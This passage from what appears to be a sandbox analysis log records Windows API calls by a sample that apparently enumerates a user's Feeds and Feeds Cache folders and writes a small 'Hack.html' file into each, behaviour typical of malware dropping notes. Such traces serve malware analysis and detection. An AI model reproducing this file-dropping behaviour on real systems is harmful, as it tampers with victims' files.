nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Hack.html", lpFilePart=0x0) returned 0x6d [0076.950] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Hack.html", lpszLongPath=0x39e6dc, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0076.950] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e6a0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x63 [0076.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0076.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.951] GetFileType (hFile=0x174) returned 0x1 [0076.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0076.951] GetFileType (hFile=0x174) returned 0x1 [0076.952] WriteFile (in: hFile=0x174, lpBuffer=0x27077f0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x27077f0*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0076.953] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Hack.html", lpFilePart=0x0) returned 0x45 [0076.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0076.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.953] GetFileType (hFile=0x174) returned 0x1 [0076.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0076.954] GetFileType (hFile=0x174) returned 0x1 [0076.954] WriteFile (in: hFile=0x174, lpBuffer=0x270a008*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x270a008*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0076.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0076.955] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x41 [0076.955] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\", lpFilePart=0x0) returned 0x42 [0076.955] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0076.958] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.958] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.958] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.958] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.958] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.958] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.959] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.959] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0076.959] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0076.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0076.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0076.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x41 [0076.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\", lpFilePart=0x0) returned 0x42 [0076.960] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0076.961] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.961] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.961] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.961] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.961] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.961] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.961] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.961] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0076.962] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0076.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0076.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x4a [0076.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\", lpFilePart=0x0) returned 0x4b [0076.963] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.964] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.964] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.964] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.964] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.964] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.965] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x4a [0076.965] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\", lpFilePart=0x0) returned 0x4b [0076.965] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.965] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.965] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.966] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.966] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.966] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.966] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Hack.html", lpFilePart=0x0) returned 0x54 [0076.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0076.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.967] GetFileType (hFile=0x174) returned 0x1 [0076.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0076.967] GetFileType (hFile=0x174) returned 0x1 [0076.967] WriteFile (in: hFile=0x174, lpBuffer=0x271149c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x271149c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0076.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.968] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x4a [0076.968] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\", lpFilePart=0x0) returned 0x4b [0076.969] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.969] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.973] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.973] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.974] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.974] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x4a [0076.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\", lpFilePart=0x0) returned 0x4b [0076.974] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.974] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.974] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.975] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.975] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.975] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.975] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Hack.html", lpFilePart=0x0) returned 0x54 [0076.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0076.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.975] GetFileType (hFile=0x174) returned 0x1 [0076.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0076.976] GetFileType (hFile=0x174) returned 0x1 [0076.976] WriteFile (in: hFile=0x174, lpBuffer=0x2715dfc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2715dfc*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0076.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.977] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x4a [0076.977] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\", lpFilePart=0x0) returned 0x4b [0076.977] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.977] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.977] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.977] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.977] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.977] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.978] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x4a [0076.978] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\", lpFilePart=0x0) returned 0x4b [0076.978] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.978] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.978] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.978] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.978] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.978] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.979] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Hack.html", lpFilePart=0x0) returned 0x54 [0076.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0076.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.979] GetFileType (hFile=0x174) returned 0x1 [0076.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0076.979] GetFileType (hFile=0x174) returned 0x1 [0076.980] WriteFile (in: hFile=0x174, lpBuffer=0x271a75c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x271a75c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0076.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x4a [0076.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\", lpFilePart=0x0) returned 0x4b [0076.983] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.983] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.983] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.983] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.983] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.984] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.984] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x4a [0076.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\", lpFilePart=0x0) returned 0x4b [0076.984] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.984] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.984] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.984] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.985] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.985] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.985] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.985] SetThreadErrorMode (dwNewMode=0x0, 